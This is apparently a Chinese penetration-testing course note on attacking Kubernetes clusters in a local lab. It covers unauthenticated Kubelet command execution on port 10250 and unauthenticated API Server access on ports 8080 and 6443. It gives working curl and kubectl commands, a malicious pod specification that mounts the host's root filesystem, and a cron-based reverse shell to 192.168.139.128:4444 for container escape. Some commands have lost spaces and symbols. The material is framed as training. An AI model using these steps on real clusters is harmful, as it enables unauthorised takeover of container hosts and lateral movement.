知识点1、云原生-K8s集群-搭建架构安全2、云原生-K8s集群-Kubelet未授权3、云原生-K8s集群-APIServer未授权K8S集群架构解释Kubernetes通俗来讲就是用来管理多台主机上的docker容器的一个开源平台应用。1、Master节点控制端2、Node节点主机3、Pod容器具体参考https://blog.csdn.net/qq_34101364/article/details/122506768k8s主要由以下核心组件组成etcd 保存了整个集群的状态 API Server 资源操作的唯一入口并提供认证、授权、访问控制、API 注册和发现等机制 Controller Manager 负责维护集群的状态比如故障检测、自动扩展、滚动更新等 Scheduler 负责资源的调度按照预定的调度策略将 Pod 调度到相应的机器上 Kubelet 负责维护容器的生命周期同时也负责VolumeCVI和网络CNI的管理 Container Runtime 负责镜像管理以及 Pod 和容器的真正运行CRI Kube-proxy 负责为 Service 提供 Cluster 内部的服务发现和负载均衡K8S集群攻击点随着越来越多企业开始上云的步伐在攻防演练中常常碰到云相关的场景例公有云、私有云、混合云、虚拟化集群等。 以往渗透路径「外网突破-提权-权限维持-信息收集-横向移动-循环收集信息」直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局也打开了新的入侵路径例如1、通过攻击云管理平台(K8S-Master节点)利用管理平台控制所有机器2、通过docker容器进行逃逸从而控制宿主机以及横向渗透到K8s Master节点控制所有容器 目前互联网上针对云原生场景下的攻击手法零零散散的较多仅有一些厂商发布过相关矩阵技术但没有过多的细节展示本文基于微软发布的Kubernetes威胁矩阵进行扩展介绍相关的具体攻击方法。 详细攻击点参考 https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ如何判断对方使用了k8s技术扫目标端口来判断本地搭建环境测试搭建环境使用3台Centos 7参考文章https://www.jianshu.com/p/25c01cae990chttps://blog.csdn.net/fly910905/article/details/120887686一个集群包含三个节点其中包括一个控制节点和两个工作节点K8s-master192.168.139.130 K8s-node1192.168.139.131 K8s-node2192.168.139.132一、演示案例-云原生-K8s安全-Kubelet(node)未授权访问攻击10250端口kubelet未授权访问192.168.230.132配置如下/var/lib/kubelet/config.yaml 修改authentication的anonymous为true, 将authorization mode修改为AlwaysAllow, 重启kubelet进程-systemctl restart kubelet1、访问获取三个参数值执行命令这里需要三个参数namespacedefault podtest03 containertest03https://192.168.139.132:10250/runningpods/2、执行容器命令curl-XPOST-khttps://192.168.139.132:10250/run/namespace/pod/container-dcmdid执行的命令是test03容器里的命令需要进行容器逃逸。二、演示案例-云原生-K8s安全-API Server未授权访问攻击8080端口API Server(Master)未授权访问旧版本的k8s的API Server默认会开启两个端口8080和6443。6443是安全端口安全端口使用TLS加密但是8080端口无需认证 仅用于测试。6443端口需要认证且有 TLS 保护。k8s1.16.0为旧版本 新版本k8s默认已经不开启8080。需要更改相应的配置cd/etc/kubernetes/manifests/ - --insecure-port8080- --insecure-bind-address0.0.0.0重启kubelet进程systemctl restart kubeletkubectl官方工具下载地址https://kubernetes.io/zh-cn/docs/tasks/tools/1、获取所有主机(nodes)节点kubectl.exe-s192.168.139.130:8080 get nodes2、获取所有容器(pods)节点kubectl.exe-s192.168.139.130:8080 get pods3、创建新的docker容器kubectl-s192.168.139.130:8080 create-fxiaodi.yaml //创建一个pod文件相当于新建一个名为xiaodi的docker容器4、进入到创建的docker容器kubectl-s192.168.139.130:8080--namespacedefaultexec-itxiaodibash//docker进入到xiaodi容器的命令5、容器逃逸获取宿主机shellecho-e* * * * * root bash -i /dev/tcp/192.168.139.128/4444 01\n/mnt/etc/crontab 把反弹shell命令写进宿主机的计划任务里那么反弹的shell就是宿主机的shell了等待一会就会收到反弹但是收到的反弹shell不是master控制端的shell而是下面的某个node(主机)节点的shell攻击6443端口API Server(Master)未授权访问一些集群由于鉴权配置不当将system:anonymous用户绑定到cluster-admin用户组从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。 kubectl create clusterrolebinding system:anonymous--clusterrolecluster-admin--usersystem:anonymous1、创建恶意pods容器https://192.168.139.130:6443/api/v1/namespaces/default/pods/ POST{apiVersion:v1,kind:Pod,metadata:{annotations:{kubectl.kubernetes.io/last-applied-configuration:{\apiVersion\:\v1\,\kind\:\Pod\,\metadata\:{\annotations\:{},\name\:\test02\,\namespace\:\default\},\spec\:{\containers\:[{\image\:\nginx:1.14.2\,\name\:\test02\,\volumeMounts\:[{\mountPath\:\/host\,\name\:\host\}]}],\volumes\:[{\hostPath\:{\path\:\/\,\type\:\Directory\},\name\:\host\}]}}\n},name:test02,namespace:default},spec:{containers:[{image:nginx:1.14.2,name:test02,volumeMounts:[{mountPath:/host,name:host}]}],volumes:[{hostPath:{path:/,type:Directory},name:host}]}}2、连接查看podskubectl --insecure-skip-tls-verify-shttps://192.168.139.130:6443 get pods3、进入到test03容器里并反弹宿主机的shellkubectl --insecure-skip-tls-verify-shttps://192.168.139.130:6443--namespacedefaultexec-ittest03bashecho-e* * * * * root bash -i /dev/tcp/192.168.139.128/4444 01\n/mnt/etc/crontab 把反弹shell命令写进宿主机的计划任务里那么反弹的shell就是宿主机的shell了等待一会就会收到反弹但是收到的反弹shell不是master控制端的shell而是下面的某个node(主机)节点的shell